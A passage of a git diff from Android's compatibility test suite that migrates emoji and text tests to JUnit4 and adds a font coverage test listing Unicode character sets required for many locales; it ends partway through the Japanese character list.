         Editable actual = mFactory.newEditable(source);
         assertEquals(expected.toString(), actual.toString());
 
     }
 
+    @Test
     public void testGetInstance() {
-
-        // new the Factory instance
         mFactory = Factory.getInstance();
         assertTrue(mFactory instanceof Editable.Factory);
     }
diff --git a/tests/tests/text/src/android/text/cts/EmojiCtsActivity.java b/tests/tests/text/src/android/text/cts/EmojiCtsActivity.java
index cdbc867..fcbc510 100644
--- a/tests/tests/text/src/android/text/cts/EmojiCtsActivity.java
+++ b/tests/tests/text/src/android/text/cts/EmojiCtsActivity.java
@@ -16,13 +16,12 @@
 
 package android.text.cts;
 
-import android.text.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
-import android.cts.util.NullWebViewUtils;
 import android.webkit.WebView;
 
+import com.android.compatibility.common.util.NullWebViewUtils;
+
 public class EmojiCtsActivity extends Activity {
     private WebView mWebView;
 
diff --git a/tests/tests/text/src/android/text/cts/EmojiTest.java b/tests/tests/text/src/android/text/cts/EmojiTest.java
index 4bc586e..e841fb5 100644
--- a/tests/tests/text/src/android/text/cts/EmojiTest.java
+++ b/tests/tests/text/src/android/text/cts/EmojiTest.java
@@ -16,38 +16,54 @@
 
 package android.text.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.content.Context;
-import android.cts.util.NullWebViewUtils;
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
 import android.graphics.Paint;
 import android.graphics.Picture;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.TypedValue;
 import android.view.KeyEvent;
-import android.view.Menu;
 import android.view.View;
-import android.widget.TextView;
-import android.widget.EditText;
 import android.webkit.cts.WebViewOnUiThread;
+import android.widget.EditText;
+import android.widget.TextView;
 
-public class EmojiTest extends ActivityInstrumentationTestCase2<EmojiCtsActivity> {
+import com.android.compatibility.common.util.NullWebViewUtils;
 
-    public EmojiTest() {
-        super("android.text.cts", EmojiCtsActivity.class);
-    }
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class EmojiTest {
+    private Context mContext;
+    private EditText mEditText;
 
-    protected void tearDown() throws Exception {
-        super.tearDown();
+    @Rule
+    public ActivityTestRule<EmojiCtsActivity> mActivityRule =
+            new ActivityTestRule<>(EmojiCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mContext = mActivityRule.getActivity();
     }
 
     /**
      * Tests all Emoji are defined in Character class
      */
+    @Test
     public void testEmojiCodePoints() {
         for (int i = 0; i < EmojiConstants.emojiCodePoints.length; i++) {
             assertTrue(Character.isDefined(EmojiConstants.emojiCodePoints[i]));
@@ -78,8 +94,10 @@
      * Tests Emoji has different glyph for different meaning characters.
      * Test on Canvas, TextView, EditText and WebView
      */
+    @UiThreadTest
+    @Test
     public void testEmojiGlyph() {
-        CaptureCanvas ccanvas = new CaptureCanvas(getInstrumentation().getContext());
+        CaptureCanvas ccanvas = new CaptureCanvas(mContext);
 
         Bitmap mBitmapA, mBitmapB;  // Emoji displayed Bitmaps to compare
 
@@ -103,17 +121,17 @@
             assertFalse(baseMessage + bmpDiffMessage, mBitmapA.sameAs(mBitmapB));
 
             // cannot reuse CaptureTextView as 2nd setText call throws NullPointerException
-            CaptureTextView cviewA = new CaptureTextView(getInstrumentation().getContext());
+            CaptureTextView cviewA = new CaptureTextView(mContext);
             mBitmapA = cviewA.capture(Character.toChars(comparedCodePoints[i][0]));
-            CaptureTextView cviewB = new CaptureTextView(getInstrumentation().getContext());
+            CaptureTextView cviewB = new CaptureTextView(mContext);
             mBitmapB = cviewB.capture(Character.toChars(comparedCodePoints[i][1]));
 
             bmpDiffMessage = describeBitmap(mBitmapA) + "vs" + describeBitmap(mBitmapB);
             assertFalse(baseMessage + bmpDiffMessage, mBitmapA.sameAs(mBitmapB));
 
-            CaptureEditText cedittextA = new CaptureEditText(getInstrumentation().getContext());
+            CaptureEditText cedittextA = new CaptureEditText(mContext);
             mBitmapA = cedittextA.capture(Character.toChars(comparedCodePoints[i][0]));
-            CaptureEditText cedittextB = new CaptureEditText(getInstrumentation().getContext());
+            CaptureEditText cedittextB = new CaptureEditText(mContext);
             mBitmapB = cedittextB.capture(Character.toChars(comparedCodePoints[i][1]));
 
             bmpDiffMessage = describeBitmap(mBitmapA) + "vs" + describeBitmap(mBitmapB);
@@ -121,9 +139,8 @@
 
             // Trigger activity bringup so we can determine if a WebView is available on this
             // device.
-            EmojiCtsActivity activity = getActivity();
             if (NullWebViewUtils.isWebViewAvailable()) {
-                CaptureWebView cwebview = new CaptureWebView(getInstrumentation().getContext());
+                CaptureWebView cwebview = new CaptureWebView();
                 mBitmapA = cwebview.capture(Character.toChars(comparedCodePoints[i][0]));
                 mBitmapB = cwebview.capture(Character.toChars(comparedCodePoints[i][1]));
                 bmpDiffMessage = describeBitmap(mBitmapA) + "vs" + describeBitmap(mBitmapB);
@@ -135,6 +152,8 @@
     /**
      * Tests EditText handles Emoji
      */
+    @LargeTest
+    @Test
     public void testEmojiEditable() throws Throwable {
         int testedCodePoints[] = {
             0xAE,    // registered mark
@@ -148,28 +167,24 @@
         for (int i = 0; i < testedCodePoints.length; i++) {
             origStr = "Test character  ";
             // cannot reuse CaptureTextView as 2nd setText call throws NullPointerException
-            final EditText editText = new EditText(getInstrumentation().getContext());
-            editText.setText(origStr + String.valueOf(Character.toChars(testedCodePoints[i])));
+            mActivityRule.runOnUiThread(() -> mEditText = new EditText(mContext));
+            mEditText.setText(origStr + String.valueOf(Character.toChars(testedCodePoints[i])));
 
             // confirm the emoji is added.
-            newStr = editText.getText().toString();
+            newStr = mEditText.getText().toString();
             assertEquals(newStr.codePointCount(0, newStr.length()), origStr.length() + 1);
 
-            runTestOnUiThread(new Runnable() {
-                public void run() {
-                    // Delete added character by sending KEYCODE_DEL event
-                    editText.dispatchKeyEvent(
-                            new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DEL));
-                }
-            });
-            getInstrumentation().waitForIdleSync();
+            // Delete added character by sending KEYCODE_DEL event
+            mActivityRule.runOnUiThread(() -> mEditText.dispatchKeyEvent(
+                    new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DEL)));
+            InstrumentationRegistry.getInstrumentation().waitForIdleSync();
 
-            newStr = editText.getText().toString();
+            newStr = mEditText.getText().toString();
             assertEquals(newStr.codePointCount(0, newStr.length()), origStr.length() + 1);
         }
     }
 
-    private class CaptureCanvas extends View {
+    private static class CaptureCanvas extends View {
 
         String mTestStr;
         Paint paint = new Paint();
@@ -201,7 +216,7 @@
 
     }
 
-    private class CaptureTextView extends TextView {
+    private static class CaptureTextView extends TextView {
 
         CaptureTextView(Context context) {
             super(context);
@@ -225,7 +240,7 @@
 
     }
 
-    private class CaptureEditText extends EditText {
+    private static class CaptureEditText extends EditText {
 
         CaptureEditText(Context context) {
             super(context);
@@ -254,13 +269,15 @@
 
         WebViewOnUiThread webViewOnUiThread;
         Bitmap bitmap;
-        CaptureWebView(Context context) {
-            webViewOnUiThread = new WebViewOnUiThread(EmojiTest.this, getActivity().getWebView());
+        CaptureWebView() {
+            webViewOnUiThread = new WebViewOnUiThread(mActivityRule,
+                    mActivityRule.getActivity().getWebView());
         }
 
         Bitmap capture(char c[]) {
 
-            webViewOnUiThread.loadDataAndWaitForCompletion("<html><body>" + String.valueOf(c) + "</body></html>",
+            webViewOnUiThread.loadDataAndWaitForCompletion(
+                    "<html><body>" + String.valueOf(c) + "</body></html>",
                     "text/html; charset=utf-8", "utf-8");
             // The Chromium-powered WebView renders asynchronously and there's nothing reliable
             // we can easily wait for to be sure that capturePicture will return a fresh frame.
diff --git a/tests/tests/text/src/android/text/cts/FontCoverageTest.java b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
new file mode 100644
index 0000000..4f66ee7
--- /dev/null
+++ b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
@@ -0,0 +1,2438 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.text.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.res.Resources;
+import android.graphics.Paint;
+import android.icu.lang.UCharacter;
+import android.icu.lang.UCharacterCategory;
+import android.icu.text.UnicodeSet;
+import android.support.test.filters.LargeTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashMap;
+import java.util.Locale;
+
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class FontCoverageTest {
+    // All characters in ASCII, Latin 1, Latin Extended A to D, and Currency Symbols block, as well
+    // as all Latin, Greek and Cyrillic characters. Limited to Unicode 7.0.
+    private static final UnicodeSet MIN_LGC = new UnicodeSet(
+            "[[[:Block=ASCII:]"
+            + "[:Block=Latin_1:]"
+            + "[:Block=Latin_Extended_A:]"
+            + "[:Block=Latin_Extended_B:]"
+            + "[:Block=Latin_Extended_C:]"
+            + "[:Block=Latin_Extended_D:]"
+            + "[:Block=Currency_Symbols:]"
+            + "[:Script=Latin:]"
+            + "[:Script=Greek:]"
+            + "[:Script=Cyrillic:]]"
+            + "&[:Age=7.0:]"
+            // Skip the blocks for ancient numbers and symbols.
+            + "&[:^Block=Ancient_Greek_Numbers:]&[:^Block=Ancient_Symbols:]]");
+
+    private static final UnicodeSet MIN_EXTRAS = new UnicodeSet(
+            "[\u0300" // COMBINING GRAVE ACCENT
+            + "\u0301" // COMBINING ACUTE ACCENT
+            + "\u0307" // COMBINING DOT ABOVE
+            + "\u0308" // COMBINING DIAERESIS
+            + "\u0313" // COMBINING COMMA ABOVE
+            + "\u0342" // COMBINING GREEK PERISPOMENI
+            + "\u0345" // COMBINING GREEK YPOGEGRAMMENI
+            + "\u2010" // HYPHEN
+            + "\u2013" // EN DASH
+            + "\u2014" // EM DASH
+            + "\u2018" // LEFT SINGLE QUOTATION MARK
+            + "\u2019" // RIGHT SINGLE QUOTATION MARK
+            + "\u201A" // SINGLE LOW-9 QUOTATION MARK
+            + "\u201C" // LEFT DOUBLE QUOTATION MARK
+            + "\u201D" // RIGHT DOUBLE QUOTATION MARK
+            + "\u201E" // DOUBLE LOW-9 QUOTATION MARK
+            + "\u2020" // DAGGER
+            + "\u2021" // DOUBLE DAGGER
+            + "\u2026" // HORIZONTAL ELLIPSIS
+            + "\u2032" // PRIME
+            + "\u2033" // DOUBLE PRIME
+            + "\u2212]"); // MINUS SIGN
+
+    private static final UnicodeSet MIN_COVERAGE = new UnicodeSet(MIN_LGC).addAll(MIN_EXTRAS);
+
+    // Characters outside of MIN_COVERAGE that are needed for some locales.
+    private static final HashMap<String, UnicodeSet> EXEMPLAR_MAP = new HashMap();
+    static {
+        EXEMPLAR_MAP.put("agq", new UnicodeSet("[{\u0186\u0302}{\u0186\u0304}{\u0186\u030C}"
+                + "{\u0190\u0302}{\u0190\u0304}{\u0190\u030C}{\u0197\u0302}{\u0197\u0304}"
+                + "{\u0197\u030C}{\u0244\u0302}{\u0244\u0304}{\u0244\u030C}{\u0254\u0302}"
+                + "{\u0254\u0304}{\u0254\u030C}{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}"
+                + "{\u0268\u0302}{\u0268\u0304}{\u0268\u030C}{\u0289\u0302}{\u0289\u0304}"
+                + "{\u0289\u030C}]"));
+        EXEMPLAR_MAP.put("am", new UnicodeSet("[\u1200-\u1206\u1208-\u1246\u1248\u124A-\u124D"
+                + "\u1260-\u1286\u1288\u128A-\u128D\u1290-\u12AE\u12B0\u12B2-\u12B5\u12B8-\u12BE"
+                + "\u12C8-\u12CE\u12D0-\u12D6\u12D8-\u12EE\u12F0-\u12F7\u1300-\u130E\u1310"
+                + "\u1312-\u1315\u1320-\u1346\u1348-\u1357\u1361-\u1366\u2039\u203A]"));
+        EXEMPLAR_MAP.put("ar", new UnicodeSet("[\u060C\u061B\u061F\u0621-\u063A\u0641-\u0652"
+                + "\u0660-\u066C\u066F\u0670\u067E\u0686\u0698\u069C\u06A2\u06A4\u06A5"
+                + "\u06A7-\u06A9\u06AF\u06CC]"));
+        EXEMPLAR_MAP.put("ar-DZ", new UnicodeSet("[\u060C\u061B\u061F\u0621-\u063A\u0641-\u0652"
+                + "\u066F\u0670\u067E\u0686\u0698\u069C\u06A2\u06A4\u06A5\u06A7-\u06A9\u06AF"
+                + "\u06CC]"));
+        EXEMPLAR_MAP.put("ar-EH", new UnicodeSet("[\u060C\u061B\u061F\u0621-\u063A\u0641-\u0652"
+                + "\u066F\u0670\u067E\u0686\u0698\u069C\u06A2\u06A4\u06A5\u06A7-\u06A9\u06AF"
+                + "\u06CC]"));
+        EXEMPLAR_MAP.put("ar-LY", new UnicodeSet("[\u060C\u061B\u061F\u0621-\u063A\u0641-\u0652"
+                + "\u066F\u0670\u067E\u0686\u0698\u069C\u06A2\u06A4\u06A5\u06A7-\u06A9\u06AF"
+                + "\u06CC]"));
+        EXEMPLAR_MAP.put("ar-MA", new UnicodeSet("[\u060C\u061B\u061F\u0621-\u063A\u0641-\u0652"
+                + "\u066F\u0670\u067E\u0686\u0698\u069C\u06A2\u06A4\u06A5\u06A7-\u06A9\u06AD\u06AF"
+                + "\u06CC\u0763]"));
+        EXEMPLAR_MAP.put("ar-TN", new UnicodeSet("[\u060C\u061B\u061F\u0621-\u063A\u0641-\u0652"
+                + "\u066F\u0670\u067E\u0686\u0698\u069C\u06A2\u06A4\u06A5\u06A7-\u06A9\u06AF"
+                + "\u06CC]"));
+        EXEMPLAR_MAP.put("as", new UnicodeSet("[\u0981-\u0983\u0985-\u098B\u098F\u0990"
+                + "\u0993-\u09A8\u09AA-\u09AF\u09B2\u09B6-\u09B9\u09BC\u09BE-\u09C3\u09C7\u09C8"
+                + "\u09CB-\u09CD\u09E6-\u09F2{\u0995\u09CD\u09B7}{\u09A1\u09BC}"
+                + "{\u09A2\u09BC}{\u09AF\u09BC}]"));
+        EXEMPLAR_MAP.put("bas", new UnicodeSet("[{A\u1DC6}{A\u1DC7}{E\u1DC6}{E\u1DC7}{I\u1DC6}"
+                + "{I\u1DC7}{O\u1DC6}{O\u1DC7}{U\u1DC6}{U\u1DC7}{a\u1DC6}{a\u1DC7}{e\u1DC6}"
+                + "{e\u1DC7}{i\u1DC6}{i\u1DC7}{o\u1DC6}{o\u1DC7}{u\u1DC6}{u\u1DC7}{\u0186\u0302}"
+                + "{\u0186\u0304}{\u0186\u030C}{\u0186\u1DC6}{\u0186\u1DC7}{\u0190\u0302}"
+                + "{\u0190\u0304}{\u0190\u030C}{\u0190\u1DC6}{\u0190\u1DC7}{\u0254\u0302}"
+                + "{\u0254\u0304}{\u0254\u030C}{\u0254\u1DC6}{\u0254\u1DC7}{\u025B\u0302}"
+                + "{\u025B\u0304}{\u025B\u030C}{\u025B\u1DC6}{\u025B\u1DC7}]"));
+        EXEMPLAR_MAP.put("bg", new UnicodeSet("[\u2116]"));
+        EXEMPLAR_MAP.put("bn", new UnicodeSet("[\u0981-\u0983\u0985-\u098C\u098F\u0990"
+                + "\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BC-\u09C4\u09C7\u09C8"
+                + "\u09CB-\u09CE\u09D7\u09E0-\u09E3\u09E6-\u09FA{\u0995\u09CD\u09B7}{\u09A1\u09BC}"
+                + "{\u09A2\u09BC}{\u09AF\u09BC}]"));
+        EXEMPLAR_MAP.put("bo", new UnicodeSet("[\u0F00\u0F40-\u0F42\u0F44-\u0F47\u0F49-\u0F4C"
+                + "\u0F4E-\u0F51\u0F53-\u0F56\u0F58-\u0F5B\u0F5D-\u0F68\u0F6A\u0F72\u0F74\u0F77"
+                + "\u0F79-\u0F80\u0F84\u0F90-\u0F92\u0F94-\u0F97\u0F99-\u0F9C\u0F9E-\u0FA1"
+                + "\u0FA3-\u0FA6\u0FA8-\u0FAB\u0FAD-\u0FB8\u0FBA-\u0FBC{\u0F40\u0FB5}{\u0F42\u0FB7}"
+                + "{\u0F4C\u0FB7}{\u0F51\u0FB7}{\u0F56\u0FB7}{\u0F5B\u0FB7}{\u0F71\u0F72}"
+                + "{\u0F71\u0F74}{\u0F71\u0F80}{\u0F90\u0FB5}{\u0F92\u0FB7}{\u0F9C\u0FB7}"
+                + "{\u0FA1\u0FB7}{\u0FA6\u0FB7}{\u0FAB\u0FB7}{\u0FB2\u0F80}{\u0FB3\u0F80}]"));
+        EXEMPLAR_MAP.put("br", new UnicodeSet("[{C\u02BCH}{C\u02BCh}{c\u02BCh}]"));
+        EXEMPLAR_MAP.put("brx", new UnicodeSet("[\u0901\u0902\u0905-\u090A\u090D\u090F-\u0911"
+                + "\u0913-\u0918\u091A-\u0928\u092A-\u0930\u0932\u0933\u0935-\u0939\u093C"
+                + "\u093E-\u0943\u0945\u0947-\u0949\u094B-\u094D{\u0921\u093C}]"));
+        EXEMPLAR_MAP.put("chr", new UnicodeSet("[\u13A0-\u13F4\u13F8-\u13FC\uAB70-\uABBF]"));
+        EXEMPLAR_MAP.put("dz", new UnicodeSet("[\u0F04-\u0F06\u0F08-\u0F0A\u0F0C-\u0F12\u0F14"
+                + "\u0F20-\u0F29\u0F34\u0F36\u0F3C\u0F3D\u0F40-\u0F42\u0F44-\u0F47\u0F49-\u0F4C"
+                + "\u0F4E-\u0F51\u0F53-\u0F56\u0F58-\u0F5B\u0F5D-\u0F68\u0F72\u0F74\u0F7A-\u0F7E"
+                + "\u0F80\u0F84\u0F90-\u0F92\u0F94\u0F97\u0F99-\u0F9C\u0F9E-\u0FA1\u0FA3-\u0FA6"
+                + "\u0FA8-\u0FAB\u0FAD\u0FB1-\u0FB3\u0FB5-\u0FB7\u0FBA-\u0FBC\u0FBE\u0FBF"
+                + "\u0FD0-\u0FD4]"));
+        EXEMPLAR_MAP.put("ee", new UnicodeSet("[{\u0186\u0303}{\u0190\u0303}{\u0254\u0303}"
+                + "{\u025B\u0303}]"));
+        EXEMPLAR_MAP.put("ewo", new UnicodeSet("[{\u0186\u0302}{\u0186\u030C}{\u018F\u0302}"
+                + "{\u018F\u030C}{\u0190\u0302}{\u0190\u030C}{\u0254\u0302}{\u0254\u030C}"
+                + "{\u0259\u0302}{\u0259\u030C}{\u025B\u0302}{\u025B\u030C}]"));
+        EXEMPLAR_MAP.put("fa-AF", new UnicodeSet("[\u060C\u061B\u061F\u0621-\u063A\u0641-\u0652"
+                + "\u0654\u0656\u066A-\u066C\u0670\u067C\u067E\u0681\u0685\u0686\u0689\u0693\u0696"
+                + "\u0698\u069A\u06A9\u06AB\u06AF\u06BC\u06CC\u06F0-\u06F9\u2039\u203A]"));
+        EXEMPLAR_MAP.put("fa-IR", new UnicodeSet("[\u060C\u061B\u061F\u0621-\u063A\u0641-\u0652"
+                + "\u0654\u0656\u066A-\u066C\u0670\u067E\u0686\u0698\u06A9\u06AF\u06CC\u06F0-\u06F9"
+                + "\u2039\u203A{\u200E\u066A}]"));
+        EXEMPLAR_MAP.put("gu", new UnicodeSet("[\u0A81-\u0A83\u0A85-\u0A8B\u0A8D\u0A8F-\u0A91"
+                + "\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABC-\u0AC5\u0AC7-\u0AC9"
+                + "\u0ACB-\u0ACD\u0AD0\u0AE0\u0AF0{\u0A85\u0A82}{\u0A85\u0A83}"
+                + "{\u0A95\u0ACD\u0AB7}{\u0A9C\u0ACD\u0A9E}{\u0AA4\u0ACD\u0AB0}]"));
+        EXEMPLAR_MAP.put("ha", new UnicodeSet("[\u02BC{R\u0303}{r\u0303}{\u02BCY}{\u02BCy}]"));
+        EXEMPLAR_MAP.put("haw", new UnicodeSet("[\u02BB]"));
+        EXEMPLAR_MAP.put("he", new UnicodeSet("[\u05B0-\u05B9\u05BB-\u05BF\u05C1\u05C2\u05C4"
+                + "\u05D0-\u05EA\u05F3\u05F4]"));
+        EXEMPLAR_MAP.put("hi", new UnicodeSet("[\u0901-\u0903\u0905-\u090D\u090F-\u0911"
+                + "\u0913-\u0928\u092A-\u0930\u0932\u0933\u0935-\u0939\u093C-\u0945\u0947-\u0949"
+                + "\u094B-\u094D\u0950\u0970]"));
+        EXEMPLAR_MAP.put("hu", new UnicodeSet("[\u2052\u27E8\u27E9]"));
+        EXEMPLAR_MAP.put("hy", new UnicodeSet("[\u0531-\u0556\u055A-\u055F\u0561-\u0587\u058A]"));
+        EXEMPLAR_MAP.put("ii", new UnicodeSet("[\uA000-\uA48C]"));
+        EXEMPLAR_MAP.put("jgo", new UnicodeSet("[\u2039\u203A{M\u0304}{N\u0304}{m\u0304}{n\u0304}"
+                + "{\u014A\u0304}{\u014B\u0304}{\u0186\u0302}{\u0186\u030C}{\u0190\u0302}"
+                + "{\u0190\u0304}{\u0190\u030C}{\u0244\u0302}{\u0244\u030C}{\u0254\u0302}"
+                + "{\u0254\u030C}{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}{\u0289\u0302}"
+                + "{\u0289\u030C}]"));
+        EXEMPLAR_MAP.put("ja", new UnicodeSet("[\u2015\u2016\u2025\u2030\u203B\u203E\u3001-\u3003"
+                + "\u3005\u3008-\u3011\u3014\u3015\u301C\u3041-\u3093\u309D\u309E\u30A1-\u30F6"
+                + "\u30FB-\u30FE\u4E00\u4E01\u4E03\u4E07-\u4E0B\u4E0D\u4E0E\u4E11\u4E14\u4E16\u4E18"
+                + "\u4E19\u4E21\u4E26\u4E2D\u4E38\u4E39\u4E3B\u4E45\u4E4F\u4E57"
+                + "\u4E59\u4E5D\u4E71\u4E73\u4E7E\u4E80\u4E86\u4E88\u4E89\u4E8B"
+                + "\u4E8C\u4E92\u4E94\u4E95\u4E9C\u4EA1\u4EA4\u4EA5\u4EA8\u4EAB-\u4EAD"
+                + "\u4EBA\u4EC1\u4ECA\u4ECB\u4ECF\u4ED5\u4ED6\u4ED8\u4ED9\u4EE3-\u4EE5"
+                + "\u4EEE\u4EF0\u4EF2\u4EF6\u4EFB\u4F01\u4F0A\u4F0F-\u4F11\u4F1A\u4F1D"
+                + "\u4F2F\u4F34\u4F38\u4F3A\u4F3C\u4F46\u4F4D-\u4F50\u4F53\u4F55"
+                + "\u4F59\u4F5C\u4F73\u4F75\u4F7F\u4F8B\u4F8D\u4F9B\u4F9D\u4FA1"
+                + "\u4FAE\u4FAF\u4FB5\u4FBF\u4FC2\u4FC3\u4FCA\u4FD7\u4FDD\u4FE1"
+                + "\u4FEE\u4FF3\u4FF5\u4FF8\u4FFA\u5009\u500B\u500D\u5012\u5019"
+                + "\u501F\u5023\u5024\u502B\u5039\u5049\u504F\u505C\u5065\u5074-\u5076"
+                + "\u507D\u508D\u5091\u5098\u5099\u50AC\u50B5\u50B7\u50BE\u50CD"
+                + "\u50CF\u50D5\u50DA\u50E7\u5100\u5104\u5112\u511F\u512A\u5143-\u5146"
+                + "\u5148\u5149\u514B-\u514E\u5150\u515A\u5165\u5168\u516B-\u516D"
+                + "\u5171\u5175\u5177\u5178\u517C\u5185\u5186\u518A\u518D\u5192"
+                + "\u5197\u5199\u51A0\u51AC\u51B7\u51C6\u51CD\u51DD\u51E1\u51E6"
+                + "\u51F6\u51F8-\u51FA\u5200\u5203\u5206-\u5208\u520A\u5211\u5217\u521D"
+                + "\u5224\u5225\u5229\u5230\u5236-\u5238\u523A\u523B\u5247\u524A"
+                + "\u524D\u5256\u525B\u5263\u5264\u526F\u5270\u5272\u5275\u5287"
+                + "\u529B\u529F\u52A0\u52A3\u52A9\u52AA\u52B1\u52B4\u52B9\u52BE"
+                + "\u52C5\u52C7\u52C9\u52D5\u52D8\u52D9\u52DD\u52DF\u52E2\u52E4"
+                + "\u52E7\u52F2\u52FA\u5301\u5305\u5316\u5317\u5320\u5339-\u533B"
+                + "\u533F\u5341\u5343\u5347\u5348\u534A\u5351-\u5354\u5357\u5358"
+                + "\u535A\u5360\u536F-\u5371\u5373-\u5375\u5378\u5384\u5398\u539A"
+                + "\u539F\u53B3\u53BB\u53C2\u53C8\u53CA-\u53CE\u53D4\u53D6\u53D7\u53D9"
+                + "\u53E3-\u53E5\u53EB\u53EC\u53EF\u53F0\u53F2\u53F3\u53F7\u53F8"
+                + "\u5404\u5408\u5409\u540C-\u5411\u541B\u541F\u5426\u542B\u5438\u5439"
+                + "\u5448-\u544A\u5468\u5473\u547C\u547D\u548C\u54B2\u54C0\u54C1"
+                + "\u54E1\u54F2\u5506\u5507\u5510\u552F\u5531\u5546\u554F\u5553"
+                + "\u5584\u559A\u559C\u559D\u55AA\u55AB\u55B6\u55E3\u5606\u5609"
+                + "\u5631\u5668\u5674\u5687\u56DA\u56DB\u56DE\u56E0\u56E3\u56F0"
+                + "\u56F2\u56F3\u56FA\u56FD\u570F\u5712\u571F\u5727\u5728\u5730"
+                + "\u5742\u5747\u574A\u5751\u576A\u5782\u578B\u57A3\u57CB\u57CE"
+                + "\u57DF\u57F7\u57F9\u57FA\u57FC\u5800\u5802\u5805\u5815\u5824"
+                + "\u582A\u5831\u5834\u5840\u5841\u584A\u5851\u5854\u5857\u585A"
+                + "\u5869\u587E\u5883\u5893\u5897\u589C\u58A8\u58B3\u58BE\u58C1"
+                + "\u58C7\u58CA\u58CC\u58EB\u58EC\u58EE\u58F0-\u58F2\u5909\u590F"
+                + "\u5915\u5916\u591A\u591C\u5922\u5927\u5929-\u592B\u592E\u5931"
+                + "\u5947-\u5949\u594F\u5951\u5954\u5965\u5968\u596A\u596E\u5973"
+                + "\u5974\u597D\u5982-\u5984\u598A\u5999\u59A5\u59A8\u59B9\u59BB"
+                + "\u59C9\u59CB\u59D3\u59D4\u59EB\u59FB\u59FF\u5A01\u5A18\u5A20"
+                + "\u5A2F\u5A46\u5A5A\u5A66\u5A7F\u5A92\u5AC1\u5ACC\u5AE1\u5B22"
+                + "\u5B50\u5B54\u5B57\u5B58\u5B5D\u5B63\u5B64\u5B66\u5B6B\u5B85"
+                + "\u5B87-\u5B89\u5B8C\u5B97-\u5B9A\u5B9C\u5B9D\u5B9F\u5BA2-\u5BA4"
+                + "\u5BAE\u5BB0\u5BB3-\u5BB6\u5BB9\u5BBF\u5BC2\u5BC4-\u5BC6\u5BCC\u5BD2"
+                + "\u5BDB\u5BDD\u5BDF\u5BE1\u5BE7\u5BE9\u5BEE\u5BF8\u5BFA\u5BFE"
+                + "\u5BFF\u5C01\u5C02\u5C04\u5C06\u5C09-\u5C0B\u5C0E\u5C0F\u5C11\u5C1A"
+                + "\u5C31\u5C3A\u5C3C-\u5C40\u5C45\u5C48\u5C4A\u5C4B\u5C55\u5C5E"
+                + "\u5C64\u5C65\u5C6F\u5C71\u5C90\u5CA1\u5CA9\u5CAC\u5CB3\u5CB8"
+                + "\u5CE0\u5CE1\u5CF0\u5CF6\u5D07\u5D0E\u5D29\u5DDD\u5DDE\u5DE1"
+                + "\u5DE3\u5DE5-\u5DE8\u5DEE\u5DF1\u5DF3\u5DFB\u5E02\u5E03\u5E06\u5E0C"
+                + "\u5E1D\u5E25\u5E2B\u5E2D\u5E2F\u5E30\u5E33\u5E38\u5E3D\u5E45"
+                + "\u5E55\u5E63\u5E72-\u5E74\u5E78\u5E79\u5E7B-\u5E7E\u5E81\u5E83"
+                + "\u5E8A\u5E8F\u5E95\u5E97\u5E9A\u5E9C\u5EA6\u5EA7\u5EAB\u5EAD"
+                + "\u5EB6-\u5EB8\u5EC3\u5EC9\u5ECA\u5EF6\u5EF7\u5EFA\u5F01\u5F0A"
+                + "\u5F0F\u5F10\u5F13-\u5F15\u5F18\u5F1F\u5F26\u5F27\u5F31\u5F35"
+                + "\u5F37\u5F3E\u5F53\u5F62\u5F69\u5F6B\u5F70\u5F71\u5F79\u5F7C"
+                + "\u5F80\u5F81\u5F84\u5F85\u5F8B\u5F8C\u5F90\u5F92\u5F93\u5F97"
+                + "\u5FA1\u5FA9\u5FAA\u5FAE\u5FB3\u5FB4\u5FB9\u5FC3\u5FC5\u5FCC"
+                + "\u5FCD\u5FD7-\u5FD9\u5FDC\u5FE0\u5FEB\u5FF5\u6012\u6016\u601D\u6020"
+                + "\u6025\u6027\u602A\u604B\u6050\u6052\u6065\u6068\u6069\u606D"
+                + "\u606F\u6075\u6094\u609F\u60A0\u60A3\u60A6\u60A9\u60AA\u60B2"
+                + "\u60BC\u60C5\u60D1\u60DC\u60E8\u60F0\u60F3\u6101\u6109\u610F"
+                + "\u611A\u611B\u611F\u6148\u614B\u614C\u614E\u6155\u6162\u6163"
+                + "\u6168\u616E\u6170\u6176\u6182\u618E\u61A4\u61A9\u61B2\u61B6"
+                + "\u61BE\u61C7\u61D0\u61F2\u61F8\u620A\u620C\u6210-\u6212\u6226\u622F"
+                + "\u6238\u623B\u623F\u6240\u6247\u6249\u624B\u624D\u6253\u6255"
+                + "\u6271\u6276\u6279\u627F\u6280\u6284\u628A\u6291\u6295\u6297"
+                + "\u6298\u629C\u629E\u62AB\u62B1\u62B5\u62B9\u62BC\u62BD\u62C5"
